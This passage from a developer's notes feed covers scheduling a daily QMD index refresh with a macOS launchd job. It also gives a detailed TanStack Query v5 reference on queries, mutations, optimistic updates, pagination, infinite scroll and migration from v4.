&lt;p&gt;For other agents, run &lt;code&gt;qmd mcp&lt;/code&gt; as a stdio MCP server, or install the skill with &lt;code&gt;qmd skill install --global&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Keep the index up to date&lt;/h2&gt;
&lt;p&gt;QMD does &lt;strong&gt;not&lt;/strong&gt; watch your files. After notes change, you need two steps:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;qmd update &amp;amp;&amp;amp; qmd embed
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;qmd update&lt;/code&gt; finds new, changed and deleted files. Keyword search is current after this.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;qmd embed&lt;/code&gt; makes vectors for the changed files only, so it&apos;s quick after the first run.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;qmd status&lt;/code&gt; shows how many files still need embedding.&lt;/p&gt;
&lt;h3&gt;Run it every day with launchd (macOS)&lt;/h3&gt;
&lt;p&gt;Save as &lt;code&gt;~/Library/LaunchAgents/com.USERNAME.qmd-refresh.plist&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
&amp;lt;!DOCTYPE plist PUBLIC &quot;-//Apple//DTD PLIST 1.0//EN&quot; &quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&quot;&amp;gt;
&amp;lt;plist version=&quot;1.0&quot;&amp;gt;
&amp;lt;dict&amp;gt;
  &amp;lt;key&amp;gt;Label&amp;lt;/key&amp;gt;
  &amp;lt;string&amp;gt;com.USERNAME.qmd-refresh&amp;lt;/string&amp;gt;
  &amp;lt;key&amp;gt;ProgramArguments&amp;lt;/key&amp;gt;
  &amp;lt;array&amp;gt;
    &amp;lt;string&amp;gt;/bin/sh&amp;lt;/string&amp;gt;
    &amp;lt;string&amp;gt;-c&amp;lt;/string&amp;gt;
    &amp;lt;string&amp;gt;date; qmd update &amp;amp;amp;&amp;amp;amp; qmd embed&amp;lt;/string&amp;gt;
  &amp;lt;/array&amp;gt;
  &amp;lt;key&amp;gt;EnvironmentVariables&amp;lt;/key&amp;gt;
  &amp;lt;dict&amp;gt;
    &amp;lt;key&amp;gt;PATH&amp;lt;/key&amp;gt;
    &amp;lt;string&amp;gt;/path/to/node/bin:/usr/bin:/bin&amp;lt;/string&amp;gt;
  &amp;lt;/dict&amp;gt;
  &amp;lt;key&amp;gt;StartCalendarInterval&amp;lt;/key&amp;gt;
  &amp;lt;dict&amp;gt;
    &amp;lt;key&amp;gt;Hour&amp;lt;/key&amp;gt;
    &amp;lt;integer&amp;gt;9&amp;lt;/integer&amp;gt;
    &amp;lt;key&amp;gt;Minute&amp;lt;/key&amp;gt;
    &amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;
  &amp;lt;/dict&amp;gt;
  &amp;lt;key&amp;gt;LowPriorityIO&amp;lt;/key&amp;gt;
  &amp;lt;true/&amp;gt;
  &amp;lt;key&amp;gt;Nice&amp;lt;/key&amp;gt;
  &amp;lt;integer&amp;gt;10&amp;lt;/integer&amp;gt;
  &amp;lt;key&amp;gt;StandardOutPath&amp;lt;/key&amp;gt;
  &amp;lt;string&amp;gt;/Users/USERNAME/Library/Logs/qmd-refresh.log&amp;lt;/string&amp;gt;
  &amp;lt;key&amp;gt;StandardErrorPath&amp;lt;/key&amp;gt;
  &amp;lt;string&amp;gt;/Users/USERNAME/Library/Logs/qmd-refresh.log&amp;lt;/string&amp;gt;
&amp;lt;/dict&amp;gt;
&amp;lt;/plist&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;PATH&lt;/code&gt; must point to the Node that QMD was installed with.&lt;/strong&gt; launchd doesn&apos;t load your shell profile, and QMD has native modules built for that exact Node version. Find it with &lt;code&gt;readlink -f &quot;$(command -v qmd)&quot;&lt;/code&gt;: the path goes through &lt;code&gt;…/node/&amp;lt;version&amp;gt;/lib/node_modules&lt;/code&gt;, and the &lt;code&gt;bin&lt;/code&gt; folder next to &lt;code&gt;lib&lt;/code&gt; is the one you want.&lt;/li&gt;
&lt;li&gt;If the Mac is asleep at 09:00, the job runs when it wakes.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Load it, and run it once to test:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;plutil -lint ~/Library/LaunchAgents/com.USERNAME.qmd-refresh.plist
launchctl bootstrap gui/$(id -u) ~/Library/LaunchAgents/com.USERNAME.qmd-refresh.plist
launchctl kickstart gui/$(id -u)/com.USERNAME.qmd-refresh
tail -f ~/Library/Logs/qmd-refresh.log
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Check the last run with &lt;code&gt;launchctl print gui/$(id -u)/com.USERNAME.qmd-refresh | grep &quot;last exit code&quot;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Remove it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;launchctl bootout gui/$(id -u)/com.USERNAME.qmd-refresh
rm ~/Library/LaunchAgents/com.USERNAME.qmd-refresh.plist
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you upgrade Node, update the &lt;code&gt;PATH&lt;/code&gt; in the plist, or the job fails. The log shows the error.&lt;/p&gt;
&lt;h2&gt;Other useful commands&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;qmd status        # collections, file counts, files waiting for vectors
qmd cleanup       # clear caches, shrink the database
qmd embed -f      # rebuild every vector (e.g. after changing the model)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The index lives in &lt;code&gt;~/.cache/qmd/index.sqlite&lt;/code&gt;.&lt;/p&gt;
</content:encoded><category>cli</category><category>ai</category><author>Zander Martineau</author></item><item><title>TanStack Query (React Query)</title><link>https://zander.wtf/notes/react-query/</link><guid isPermaLink="true">https://zander.wtf/notes/react-query/</guid><description>useQuery The v5 API uses a single object argument instead of positional arguments. With options Cancel with signal queryFn gets an AbortSignal. Pass it to…</description><pubDate>Mon, 28 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;useQuery&lt;/h2&gt;
&lt;p&gt;The v5 API uses a single object argument instead of positional arguments.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { useQuery } from &apos;@tanstack/react-query&apos;

interface User {
  id: string
  name: string
}

const { data, error, isPending, isError } = useQuery({
  queryKey: [&apos;user&apos;, userId],
  queryFn: () =&amp;gt; fetchUser(userId),
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;With options&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const { data, isPending } = useQuery({
  queryKey: [&apos;user&apos;, userId],
  queryFn: () =&amp;gt; fetchUser(userId),
  enabled: !!userId, // only run when userId is truthy
  staleTime: 1000 * 60 * 5, // 5 minutes
  gcTime: 1000 * 60 * 30, // 30 minutes (formerly cacheTime)
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Cancel with &lt;code&gt;signal&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;queryFn&lt;/code&gt; gets an &lt;code&gt;AbortSignal&lt;/code&gt;. Pass it to &lt;code&gt;fetch&lt;/code&gt;, and React Query aborts the request when the key changes or nothing uses the query any more. More in the &lt;a href=&quot;/notes/abort-controller/&quot;&gt;AbortController&lt;/a&gt; note.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;useQuery({
  queryKey: [&apos;user&apos;, userId],
  queryFn: ({ signal }) =&amp;gt; fetch(`/api/users/${userId}`, { signal }).then((res) =&amp;gt; res.json()),
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Conditional queries with &lt;code&gt;skipToken&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;A type-safe alternative to &lt;code&gt;enabled&lt;/code&gt;. TypeScript knows &lt;code&gt;userId&lt;/code&gt; is defined inside &lt;code&gt;queryFn&lt;/code&gt;, so there&apos;s no &lt;code&gt;!&lt;/code&gt; or extra check.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { skipToken, useQuery } from &apos;@tanstack/react-query&apos;

useQuery({
  queryKey: [&apos;user&apos;, userId],
  queryFn: userId ? () =&amp;gt; fetchUser(userId) : skipToken,
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;refetch()&lt;/code&gt; doesn&apos;t work with &lt;code&gt;skipToken&lt;/code&gt;. Use &lt;code&gt;enabled&lt;/code&gt; if you need it.&lt;/p&gt;
&lt;h3&gt;As a custom hook&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import { useQuery } from &apos;@tanstack/react-query&apos;

interface User {
  id: string
  name: string
  email: string
}

export const useUser = (userId: string) =&amp;gt; {
  return useQuery({
    queryKey: [&apos;user&apos;, userId],
    queryFn: async (): Promise&amp;lt;User&amp;gt; =&amp;gt; {
      const response = await fetch(`/api/users/${userId}`)
      if (!response.ok) throw new Error(&apos;Failed to fetch user&apos;)
      return response.json()
    },
    enabled: !!userId,
  })
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Usage in a component&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const UserProfile = ({ userId }: { userId: string }) =&amp;gt; {
  const { data: user, isPending, isError, error } = useUser(userId)

  if (isPending) return &amp;lt;div&amp;gt;Loading...&amp;lt;/div&amp;gt;
  if (isError) return &amp;lt;div&amp;gt;Error: {error.message}&amp;lt;/div&amp;gt;

  return &amp;lt;div&amp;gt;Name: {user.name}&amp;lt;/div&amp;gt;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;useMutation&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;import { useMutation, useQueryClient } from &apos;@tanstack/react-query&apos;

const queryClient = useQueryClient()

const mutation = useMutation({
  mutationFn: (newUser: { name: string }) =&amp;gt; {
    return fetch(&apos;/api/users&apos;, {
      method: &apos;POST&apos;,
      body: JSON.stringify(newUser),
    })
  },
  onSuccess: () =&amp;gt; {
    // Invalidate and refetch
    queryClient.invalidateQueries({ queryKey: [&apos;users&apos;] })
  },
})

// Usage
mutation.mutate({ name: &apos;New User&apos; })
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Callback signatures changed in v5.89.0&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;onMutate&lt;/code&gt;&apos;s return value became its own argument, &lt;code&gt;onMutateResult&lt;/code&gt;, and a real &lt;code&gt;context&lt;/code&gt; object moved to the end. Code written before 5.89 that reads the third argument as the &lt;code&gt;onMutate&lt;/code&gt; return value still works — the value just moved.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Before 5.89
onError: (error, variables, context) =&amp;gt; {} // context = onMutate&apos;s return value

// 5.89+
onMutate: (variables, context) =&amp;gt; {}
onError: (error, variables, onMutateResult, context) =&amp;gt; {}
onSuccess: (data, variables, onMutateResult, context) =&amp;gt; {}
onSettled: (data, error, variables, onMutateResult, context) =&amp;gt; {}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;context&lt;/code&gt; is a &lt;code&gt;MutationFunctionContext&lt;/code&gt;: &lt;code&gt;context.client&lt;/code&gt; (the &lt;code&gt;QueryClient&lt;/code&gt;), &lt;code&gt;context.meta&lt;/code&gt; and &lt;code&gt;context.mutationKey&lt;/code&gt;. &lt;code&gt;context.client&lt;/code&gt; means callbacks can touch the cache without closing over &lt;code&gt;useQueryClient()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;mutationFn&lt;/code&gt; gets the same &lt;code&gt;context&lt;/code&gt; as its second argument:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mutationFn: (variables, { client, meta, mutationKey }) =&amp;gt; {}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Optimistic updates&lt;/h2&gt;
&lt;p&gt;Two approaches. Pick the cheap one first.&lt;/p&gt;
&lt;h3&gt;Via the UI (&lt;code&gt;variables&lt;/code&gt;)&lt;/h3&gt;
&lt;p&gt;If the pending item only needs to appear in one place, render &lt;code&gt;variables&lt;/code&gt; directly — no cache writes, no rollback logic, nothing to undo.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const { mutate, variables, isPending, isError } = useMutation({
  mutationFn: (newTodo: string) =&amp;gt; addTodo(newTodo),
  onSettled: () =&amp;gt; queryClient.invalidateQueries({ queryKey: [&apos;todos&apos;] }),
})

return (
  &amp;lt;ul&amp;gt;
    {todos.map((todo) =&amp;gt; (
      &amp;lt;li key={todo.id}&amp;gt;{todo.text}&amp;lt;/li&amp;gt;
    ))}
    {isPending &amp;amp;&amp;amp; &amp;lt;li style={{ opacity: 0.5 }}&amp;gt;{variables}&amp;lt;/li&amp;gt;}
    {isError &amp;amp;&amp;amp; &amp;lt;li onClick={() =&amp;gt; mutate(variables)}&amp;gt;{variables} — retry&amp;lt;/li&amp;gt;}
  &amp;lt;/ul&amp;gt;
)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To read those &lt;code&gt;variables&lt;/code&gt; from a component that didn&apos;t call &lt;code&gt;mutate&lt;/code&gt;, give the mutation a &lt;code&gt;mutationKey&lt;/code&gt; and use &lt;code&gt;useMutationState&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const pendingTodos = useMutationState&amp;lt;string&amp;gt;({
  filters: { mutationKey: [&apos;addTodo&apos;], status: &apos;pending&apos; },
  select: (mutation) =&amp;gt; mutation.state.variables as string,
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Via the cache (&lt;code&gt;onMutate&lt;/code&gt;)&lt;/h3&gt;
&lt;p&gt;Needed when the update has to show up in several places at once. More code, and you own the rollback.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;useMutation({
  mutationFn: updateTodo,
  onMutate: async (newTodo, context) =&amp;gt; {
    // Cancel in-flight refetches so they don&apos;t clobber the optimistic write
    await context.client.cancelQueries({ queryKey: [&apos;todos&apos;] })

    const previousTodos = context.client.getQueryData([&apos;todos&apos;])

    context.client.setQueryData([&apos;todos&apos;], (old: Todo[] = []) =&amp;gt; [
      ...old,
      newTodo,
    ])

    // Whatever is returned here arrives as onMutateResult
    return { previousTodos }
  },
  onError: (err, newTodo, onMutateResult, context) =&amp;gt; {
    context.client.setQueryData([&apos;todos&apos;], onMutateResult?.previousTodos) // undefined if onMutate threw
  },
  onSettled: (data, error, variables, onMutateResult, context) =&amp;gt; {
    context.client.invalidateQueries({ queryKey: [&apos;todos&apos;] })
  },
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;cancelQueries&lt;/code&gt; call is the part people forget: without it, a refetch that was already in flight can land &lt;em&gt;after&lt;/em&gt; the optimistic write and overwrite it with stale server data.&lt;/p&gt;
&lt;h2&gt;Pagination&lt;/h2&gt;
&lt;p&gt;Page numbers go in the query key, so each page is cached separately. On its own that means a loading flash on every page change — &lt;code&gt;placeholderData: keepPreviousData&lt;/code&gt; keeps the last page on screen while the next one fetches.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { keepPreviousData, useQuery } from &apos;@tanstack/react-query&apos;

const Projects = () =&amp;gt; {
  const [page, setPage] = useState(0)

  const { data, isPending, isFetching, isPlaceholderData } = useQuery({
    queryKey: [&apos;projects&apos;, page],
    queryFn: () =&amp;gt; fetchProjects(page),
    placeholderData: keepPreviousData,
  })

  if (isPending) return &amp;lt;div&amp;gt;Loading...&amp;lt;/div&amp;gt;

  return (
    &amp;lt;div&amp;gt;
      {data.projects.map((project) =&amp;gt; (
        &amp;lt;p key={project.id}&amp;gt;{project.name}&amp;lt;/p&amp;gt;
      ))}

      &amp;lt;button
        onClick={() =&amp;gt; setPage((old) =&amp;gt; Math.max(old - 1, 0))}
        disabled={page === 0}
      &amp;gt;
        Previous
      &amp;lt;/button&amp;gt;
      &amp;lt;button
        onClick={() =&amp;gt; setPage((old) =&amp;gt; old + 1)}
        // Don&apos;t page forward off data we haven&apos;t confirmed yet
        disabled={isPlaceholderData || !data.hasMore}
      &amp;gt;
        Next
      &amp;lt;/button&amp;gt;

      {isFetching &amp;amp;&amp;amp; &amp;lt;span&amp;gt;Loading...&amp;lt;/span&amp;gt;}
    &amp;lt;/div&amp;gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;isPlaceholderData&lt;/code&gt; tells you the data on screen belongs to the &lt;em&gt;previous&lt;/em&gt; page — disable &quot;Next&quot; while it&apos;s true, otherwise a fast clicker can skip past the end.&lt;/p&gt;
&lt;p&gt;Prefetch the next page to make it feel instant:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;useEffect(() =&amp;gt; {
  if (!isPlaceholderData &amp;amp;&amp;amp; data?.hasMore) {
    queryClient.prefetchQuery({
      queryKey: [&apos;projects&apos;, page + 1],
      queryFn: () =&amp;gt; fetchProjects(page + 1),
    })
  }
}, [data, isPlaceholderData, page, queryClient])
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Infinite queries&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;useInfiniteQuery&lt;/code&gt; stores every page under one query key. &lt;code&gt;initialPageParam&lt;/code&gt; and &lt;code&gt;getNextPageParam&lt;/code&gt; are both required — &lt;code&gt;getNextPageParam&lt;/code&gt; returning &lt;code&gt;undefined&lt;/code&gt; or &lt;code&gt;null&lt;/code&gt; is what sets &lt;code&gt;hasNextPage&lt;/code&gt; to false.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { useInfiniteQuery } from &apos;@tanstack/react-query&apos;

const {
  data,
  fetchNextPage,
  hasNextPage,
  isFetchingNextPage,
  status,
} = useInfiniteQuery({
  queryKey: [&apos;projects&apos;],
  queryFn: ({ pageParam }) =&amp;gt; fetchProjects(pageParam),
  initialPageParam: 0,
  getNextPageParam: (lastPage) =&amp;gt; lastPage.nextCursor ?? undefined,
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;data&lt;/code&gt; is &lt;code&gt;{ pages, pageParams }&lt;/code&gt;, not a flat array — flatten it to render:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const projects = data?.pages.flatMap((page) =&amp;gt; page.projects) ?? []
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Full signature is &lt;code&gt;getNextPageParam(lastPage, allPages, lastPageParam, allPageParams)&lt;/code&gt;, so offset-based APIs without a cursor can count what they already have:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;getNextPageParam: (lastPage, allPages) =&amp;gt;
  lastPage.length === PAGE_SIZE ? allPages.length * PAGE_SIZE : undefined
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Add &lt;code&gt;getPreviousPageParam&lt;/code&gt; for bi-directional lists (chat scrollback), which gives you &lt;code&gt;fetchPreviousPage&lt;/code&gt; and &lt;code&gt;hasPreviousPage&lt;/code&gt;. &lt;code&gt;maxPages&lt;/code&gt; caps how many pages stay in the cache. With it set, define both param getters, so pages dropped from either end can be fetched again.&lt;/p&gt;
&lt;h3&gt;Infinite scroll&lt;/h3&gt;
&lt;p&gt;Trigger &lt;code&gt;fetchNextPage&lt;/code&gt; from an &lt;a href=&quot;/notes/intersection-observer/&quot;&gt;&lt;code&gt;IntersectionObserver&lt;/code&gt;&lt;/a&gt; on a sentinel element at the bottom of the list.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const InfiniteProjects = () =&amp;gt; {
  const { data, fetchNextPage, hasNextPage, isFetchingNextPage, status } =
    useInfiniteQuery({
      queryKey: [&apos;projects&apos;],
      queryFn: ({ pageParam }) =&amp;gt; fetchProjects(pageParam),
      initialPageParam: 0,
      getNextPageParam: (lastPage) =&amp;gt; lastPage.nextCursor ?? undefined,
    })

  const sentinelRef = useRef&amp;lt;HTMLDivElement&amp;gt;(null)

  useEffect(() =&amp;gt; {
    const el = sentinelRef.current
    if (!el || !hasNextPage) return

    const observer = new IntersectionObserver(
      ([entry]) =&amp;gt; {
        // isFetchingNextPage guard stops a burst of duplicate fetches
        if (entry.isIntersecting &amp;amp;&amp;amp; !isFetchingNextPage) fetchNextPage()
      },
      { rootMargin: &apos;200px&apos; }, // start fetching before it&apos;s actually visible
    )

    observer.observe(el)
    return () =&amp;gt; observer.disconnect()
  }, [hasNextPage, isFetchingNextPage, fetchNextPage])

  if (status === &apos;pending&apos;) return &amp;lt;div&amp;gt;Loading...&amp;lt;/div&amp;gt;
  if (status === &apos;error&apos;) return &amp;lt;div&amp;gt;Something went wrong&amp;lt;/div&amp;gt;

  return (
    &amp;lt;div&amp;gt;
      {data.pages.flatMap((page) =&amp;gt; page.projects).map((project) =&amp;gt; (
        &amp;lt;p key={project.id}&amp;gt;{project.name}&amp;lt;/p&amp;gt;
      ))}

      &amp;lt;div ref={sentinelRef} /&amp;gt;

      {isFetchingNextPage &amp;amp;&amp;amp; &amp;lt;span&amp;gt;Loading more...&amp;lt;/span&amp;gt;}
      {!hasNextPage &amp;amp;&amp;amp; &amp;lt;span&amp;gt;Nothing left to load&amp;lt;/span&amp;gt;}
    &amp;lt;/div&amp;gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Two things worth knowing:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Refetching an infinite query refetches &lt;strong&gt;every&lt;/strong&gt; page it holds, sequentially, to keep the cursor chain consistent. A hundred loaded pages is a hundred requests. &lt;code&gt;maxPages&lt;/code&gt; is the fix.&lt;/li&gt;
&lt;li&gt;For long lists, pair this with a virtualiser (TanStack Virtual) — infinite query solves fetching, not the cost of rendering ten thousand DOM nodes.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;queryOptions&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;queryOptions&lt;/code&gt; helper lets you define query configuration in one place and reuse it across &lt;code&gt;useQuery&lt;/code&gt;, &lt;code&gt;useSuspenseQuery&lt;/code&gt;, &lt;code&gt;useQueries&lt;/code&gt;, prefetching, and more. Great for co-locating &lt;code&gt;queryKey&lt;/code&gt; and &lt;code&gt;queryFn&lt;/code&gt; together.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { queryOptions, useQuery, useQueries, useSuspenseQuery } from &apos;@tanstack/react-query&apos;

function userOptions(id: string) {
  return queryOptions({
    queryKey: [&apos;user&apos;, id],
    queryFn: () =&amp;gt; fetchUser(id),
    staleTime: 5 * 1000,
  })
}

// Usage in components
const { data } = useQuery(userOptions(userId))
const { data: user } = useSuspenseQuery(userOptions(userId))

// Prefetching
queryClient.prefetchQuery(userOptions(userId))

// Setting data directly
queryClient.setQueryData(userOptions(userId).queryKey, newUser)

// Multiple queries
useQueries({
  queries: [userOptions(&apos;1&apos;), userOptions(&apos;2&apos;)],
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Override options at the component level:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const { data } = useQuery({
  ...userOptions(userId),
  select: (data) =&amp;gt; data.name, // type inference still works
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For infinite queries, use &lt;code&gt;infiniteQueryOptions&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;mutationOptions&lt;/h2&gt;
&lt;p&gt;The same idea for mutations — define the config once, reuse it wherever the mutation is triggered or observed.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { mutationOptions, useMutation, useMutationState } from &apos;@tanstack/react-query&apos;

function updateUserOptions() {
  return mutationOptions({
    mutationKey: [&apos;updateUser&apos;],
    mutationFn: (user: User) =&amp;gt; updateUser(user),
    onSettled: (data, error, variables, onMutateResult, context) =&amp;gt; {
      context.client.invalidateQueries({ queryKey: [&apos;users&apos;] })
    },
  })
}

const mutation = useMutation(updateUserOptions())

// The shared mutationKey means other components can observe it
const pending = useMutationState({
  filters: { mutationKey: updateUserOptions().mutationKey, status: &apos;pending&apos; },
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Anything &lt;code&gt;useMutation&lt;/code&gt; accepts, &lt;code&gt;mutationOptions&lt;/code&gt; accepts. Give it a &lt;code&gt;mutationKey&lt;/code&gt; if you want to watch it with &lt;code&gt;useMutationState&lt;/code&gt;. Its real value is keeping &lt;code&gt;mutationKey&lt;/code&gt; and &lt;code&gt;mutationFn&lt;/code&gt; together, so &lt;code&gt;useMutationState&lt;/code&gt; filters can&apos;t drift out of sync with the mutation they&apos;re watching.&lt;/p&gt;
&lt;h2&gt;useQueries&lt;/h2&gt;
&lt;p&gt;Run multiple queries in parallel.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { useQueries } from &apos;@tanstack/react-query&apos;

const results = useQueries({
  queries: [
    {
      queryKey: [&apos;user&apos;, userId],
      queryFn: () =&amp;gt; fetchUser(userId),
    },
    {
      queryKey: [&apos;posts&apos;, userId],
      queryFn: () =&amp;gt; fetchUserPosts(userId),
    },
  ],
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;useSuspenseQuery&lt;/h2&gt;
&lt;p&gt;For use with React Suspense. Data is guaranteed to be defined. It doesn&apos;t accept &lt;code&gt;enabled&lt;/code&gt; or &lt;code&gt;placeholderData&lt;/code&gt;: a suspense query always runs, and the &lt;code&gt;&amp;lt;Suspense&amp;gt;&lt;/code&gt; fallback takes the place of a placeholder.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { useSuspenseQuery } from &apos;@tanstack/react-query&apos;

const UserProfile = ({ userId }: { userId: string }) =&amp;gt; {
  // data is guaranteed to be defined
  const { data: user } = useSuspenseQuery({
    queryKey: [&apos;user&apos;, userId],
    queryFn: () =&amp;gt; fetchUser(userId),
  })

  return &amp;lt;div&amp;gt;Name: {user.name}&amp;lt;/div&amp;gt;
}

// Wrap with Suspense
const App = () =&amp;gt; (
  &amp;lt;Suspense fallback={&amp;lt;div&amp;gt;Loading...&amp;lt;/div&amp;gt;}&amp;gt;
    &amp;lt;UserProfile userId=&quot;123&quot; /&amp;gt;
  &amp;lt;/Suspense&amp;gt;
)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;QueryClient setup&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;import { QueryClient, QueryClientProvider } from &apos;@tanstack/react-query&apos;
import { ReactQueryDevtools } from &apos;@tanstack/react-query-devtools&apos;

const queryClient = new QueryClient({
  defaultOptions: {
    queries: {
      staleTime: 1000 * 60, // 1 minute
      retry: 1,
    },
  },
})

const App = () =&amp;gt; (
  &amp;lt;QueryClientProvider client={queryClient}&amp;gt;
    &amp;lt;YourApp /&amp;gt;
    &amp;lt;ReactQueryDevtools initialIsOpen={false} /&amp;gt;
  &amp;lt;/QueryClientProvider&amp;gt;
)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Placeholder and initial data&lt;/h2&gt;
&lt;p&gt;Placeholder data is shown while fetching but never written to the cache. &lt;code&gt;initialData&lt;/code&gt; &lt;em&gt;is&lt;/em&gt; written to the cache and is treated as real, fresh data.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// A stand-in value while the real thing loads
const { data, isPlaceholderData } = useQuery({
  queryKey: [&apos;user&apos;, userId],
  queryFn: () =&amp;gt; fetchUser(userId),
  placeholderData: { id: userId, name: &apos;Loading...&apos; },
})

// Or keep the previous key&apos;s data on screen while the new key fetches
const { data } = useQuery({
  queryKey: [&apos;user&apos;, userId],
  queryFn: () =&amp;gt; fetchUser(userId),
  placeholderData: keepPreviousData,
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;keepPreviousData&lt;/code&gt; is imported from &lt;code&gt;@tanstack/react-query&lt;/code&gt;. It replaced the v4 &lt;code&gt;keepPreviousData: true&lt;/code&gt; boolean option.&lt;/p&gt;
&lt;h2&gt;v4 → v5 changes&lt;/h2&gt;
&lt;p&gt;The ones you&apos;ll trip over in older code:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;isLoading&lt;/code&gt; → &lt;code&gt;isPending&lt;/code&gt;.&lt;/strong&gt; &quot;No data yet&quot; is now &lt;code&gt;isPending&lt;/code&gt;. &lt;code&gt;isLoading&lt;/code&gt; still exists but means &lt;code&gt;isPending &amp;amp;&amp;amp; isFetching&lt;/code&gt; (the first load is in progress).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;cacheTime&lt;/code&gt; → &lt;code&gt;gcTime&lt;/code&gt;.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;useErrorBoundary&lt;/code&gt; → &lt;code&gt;throwOnError&lt;/code&gt;.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;keepPreviousData: true&lt;/code&gt; → &lt;code&gt;placeholderData: keepPreviousData&lt;/code&gt;.&lt;/strong&gt; With &lt;code&gt;placeholderData&lt;/code&gt;, &lt;code&gt;status&lt;/code&gt; is &lt;code&gt;success&lt;/code&gt; while the old data shows. The old option kept the previous query&apos;s status.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Single object argument.&lt;/strong&gt; &lt;code&gt;useQuery(key, fn, options)&lt;/code&gt; is gone. Use &lt;code&gt;useQuery({ queryKey, queryFn, ...options })&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;initialPageParam&lt;/code&gt; is required&lt;/strong&gt; for infinite queries.&lt;/li&gt;
